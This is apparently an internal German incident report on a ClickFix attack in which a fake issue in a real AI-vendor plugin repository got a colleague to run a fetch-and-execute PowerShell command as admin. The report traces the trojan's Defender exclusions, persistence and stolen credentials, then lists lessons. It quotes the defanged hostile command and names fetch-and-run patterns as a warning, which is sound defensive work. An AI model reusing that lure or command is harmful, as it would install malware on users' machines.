Das Update kam aus dem echten Repository

20. Oktober 2026

TL;DR

1. Ein gefälschtes Issue im echten Plugin-Repository brachte einen Kollegen dazu, iex(irm …) in eine Admin-PowerShell zu kopieren.
2. Der Trojaner setzte sich selbst Defender-Ausnahmen und lief 25 Stunden unbemerkt. Neue Passwörter vom befallenen PC flossen gleich mit ab.
3. Befehle aus Issues, Mails oder Chats werden nicht ausgeführt. Passwörter nach einem Befall nur von einem sauberen Gerät ändern.

Er ist einer von denen, die anderen erklären, worauf sie achten sollen. Keine Befehle aus Mails ausführen, keine Links aus Chats, im Zweifel lieber einmal nachfragen. Am 19. Oktober um 12:46 Uhr hat er selbst einen Befehl aus einer Mail in eine PowerShell mit Adminrechten kopiert. Danach lief gut 25 Stunden lang ein Fernsteuerungs-Trojaner auf seinem privaten Rechner, und der Defender hat davon nichts gemeldet.

Er hat zugestimmt, dass wir das aufschreiben. Seine eigenen Worte dazu: „Hier die Dokumentation meiner Dummheit.“ Dumm war es nicht. Es war gut gemacht, und er war einen Moment lang nicht aufmerksam. Das reicht.

Der Köder

Am Anfang stand eine ganz normale GitHub-Benachrichtigung. Er folgt dem offiziellen Plugin-Repository eines KI-Anbieters, dessen Assistenten er täglich benutzt. In diesem Repository war ein neues Issue aufgetaucht: Häkchen-Emoji, „Easy Install“, „Latest Stable Release“. Darin eine Anleitung, wie sie bei Werkzeugen für Windows üblich ist: Windows-Taste und X, Terminal als Administrator öffnen, diesen einen Befehl einfügen, Enter. „Dauert keine Minute.“

Der Befehl sah harmlos aus, weil das meiste daran Tarnung war. Vorne steht ein Text in Anführungszeichen, der nach dem Paketnamen klingt. Der Teil, der zählt, ist dieser: iex(irm gitrm[.]sbs). irm lädt Code von einer Adresse, iex führt ihn sofort aus. Kein Download, keine Datei im Browser, keine Warnung von SmartScreen. Der Nutzer tut alles selbst.

Die Masche hat einen Namen: ClickFix. Sie funktioniert, weil sie an dem ansetzt, was wir allen beigebracht haben. Wir sagen, sie sollen keine Anhänge öffnen und nichts Unbekanntes herunterladen. Hier wird nichts heruntergeladen. Hier tippt jemand einen Befehl ein, und zwar in einem Repository, das wirklich dem Anbieter gehört. Dass in einem öffentlichen Repository jeder ein Issue anlegen kann, hat in dem Moment keine Rolle gespielt. Unter dem Issue standen Kommentare wie „works perfectly“ und „finally can install plugins easily“. Auch die waren gefälscht.

Die Warnung lag schon im Postfach

Das ist der Teil, der am meisten wehtut. Im selben Repository hatte jemand schon in der Nacht ein Warn-Issue angelegt: Malware-Alarm, bitte keinen dieser „Easy Install“-Befehle ausführen. Die Benachrichtigung dazu kam um 00:53 Uhr. Der Befehl wurde knapp zwölf Stunden später eingefügt.

Beide Mails lagen im selben Postfach, und beide sahen gleich aus: dieselbe Absenderadresse von GitHub, dasselbe Repository im Betreff. Zwischen Dutzenden Benachrichtigungen fällt die eine, die warnt, nicht auf.

Was der Befehl tat

Die Untersuchung am nächsten Tag hat den Ablauf recht genau rekonstruiert. Das Skript legte einen Ordner im Temp-Verzeichnis an, entpackte ein Archiv mit einem mitgebrachten 7-Zip und tat dann als Erstes etwas, das mit Adminrechten völlig legal ist: Es trug im Defender drei Ausnahmen ein. Zwei davon klingen nach Windows, C:\ProgramData\Windows\Microsoft und C:\ProgramData\Microsoft\Windows. In einen davon legte es sich selbst ab, als RuntimeBrokerA.exe, angelehnt an einen echten Windows-Prozess. Dazu kamen vier geplante Aufgaben in echten Microsoft-Ordnern der Aufgabenplanung, alle 30 Minuten und bei jedem Systemstart. Und eine dauerhafte Verbindung zu einem Server in den Niederlanden.

Defender erkannte die Datei später als Trojan:Win32/Wacatac.H!ml. Das ist eine generische Erkennung. Vermutlich handelt es sich um einen .NET-Fernsteuerungstrojaner mit Diebstahlfunktionen, wie es sie in mehreren Familien gibt. Welche genau, ist nicht belegt. Was diese Programme können, ist dagegen bekannt: Tastatureingaben mitschreiben, gespeicherte Passwörter, Cookies und Anmeldetokens auslesen, den Rechner fernsteuern.

Warum der Defender still blieb

Der Defender war nicht kaputt. Er wurde mit den Rechten des Nutzers ausgehebelt. Ein Skript, das als Administrator läuft, darf Ausnahmen setzen, und für den Defender war das eine gewollte Einstellung. Die Ordner mit der Schadsoftware wurden ab da nicht mehr geprüft. Im Ereignisprotokoll stand die Änderung als Ereignis 5007, aber eine Warnung auf dem Bildschirm gab es nicht. Auch eine Offline-Prüfung fand nichts, weil sie dieselben Ausnahmen beachtet.

Als die Ausnahmen wieder entfernt waren, erkannte und löschte der Defender die Datei sofort.

25 Stunden, und die neuen Passwörter gleich mit

In diesen Stunden änderte er schon einige Passwörter, vom selben Rechner aus. Genau das hat nichts gebracht. Der Trojaner saß zwischen Tastatur und Browser und schickte die neuen Passwörter gleich mit nach Hause.

Gefunden hat den Befall am nächsten Tag die Suche mit einem KI-Assistenten, der Zugriff auf Konsole und Dateien hatte: PowerShell-Verlauf, Ereignisprotokolle, Aufgabenplanung. Im Verlauf stand der eingefügte Befehl mit Uhrzeit. Ironie am Rand: Der Köder hatte sich als Plugin für genau diesen Assistenten ausgegeben. Danach ging es schnell. Prozess beenden, Aufgaben deaktivieren, die Verbindung per Firewall sperren, die falschen Ausnahmen entfernen, scannen, gegenprüfen. Am 20. Oktober um 14:17 Uhr war der Trojaner eingedämmt.

Aufgeräumt war damit noch nichts. Was in den 25 Stunden eingegeben wurde oder gespeichert war, gilt als bekannt. Danach meldeten sich die Folgen. Ein Konto in einem sozialen Netzwerk war übernommen, ein Spielekonto mit Guthaben ist weg. Vermutlich kamen die Angreifer über einen alten Passwortmanager im Browser an viele Zugangsdaten, der seit Jahren nicht mehr benutzt wurde, aber noch voll war. Konten mit Zwei-Faktor-Anmeldung, etwa bei Zahlungsdiensten, blieben nach allem, was zu sehen ist, verschont. Der Rechner wird neu installiert, weil die Schadsoftware Adminrechte hatte und man nach so etwas nicht ausschließen kann, dass noch etwas übrig ist.

Und die Firma?

Die erste Frage, die wir uns gestellt haben, war nicht privat. Er hatte an dem Rechner nebenbei gearbeitet, allerdings nur über eine Remotedesktop-Verbindung auf ein Firmengerät. Das klingt sicher, ist es aber nur zum Teil. Alles, was durch das RDP-Fenster geht, geht über den befallenen Rechner: Tastatureingaben, die Zwischenablage, das Bild. Ein Keylogger auf dem eigenen PC liest auch die Passwörter mit, die man in der Remotesitzung eintippt.

Hier ging es glimpflich aus. Auf dem privaten Rechner liefen nur Teams und die RDP-Anmeldung, beide mit demselben Firmenkonto. Das Passwort wurde am Firmengerät selbst geändert, nicht am befallenen. Die Anmeldeprotokolle des Kontos zeigen für den ganzen Zeitraum nur bekannte Anschlüsse.

Was wir daraus mitnehmen

• iex(irm …), irm … | iex oder curl … | sh aus einem Issue, einer Mail, einem Chat oder einer Webseite wird nicht ausgeführt. Echte Plugins kommen über den Paketmanager oder den Marketplace.
• Ein Issue in einem echten Repository beweist nichts. Positive Kommentare darunter auch nicht.
• Eine Admin-Konsole öffnet man nur, wenn man weiß, wofür.
• Defender-Ausnahmen gehören regelmäßig geprüft. Ereignis 5007 ist kein Rauschen.
• Passwörter nach einem Befall nie vom befallenen Gerät aus ändern, sondern von einem sauberen.
• Alte Passwortmanager im Browser leeren, nicht nur vergessen.
• Remotedesktop schützt nicht vor dem Rechner, von dem aus man sich verbindet.
• Den Trojaner zu entfernen, ging schnell. Die Zugangsdaten zu erneuern, dauert Tage.

Indikatoren

Für alle, die in ihren eigenen Netzen nachsehen wollen. Domain und IP sind absichtlich nicht anklickbar geschrieben.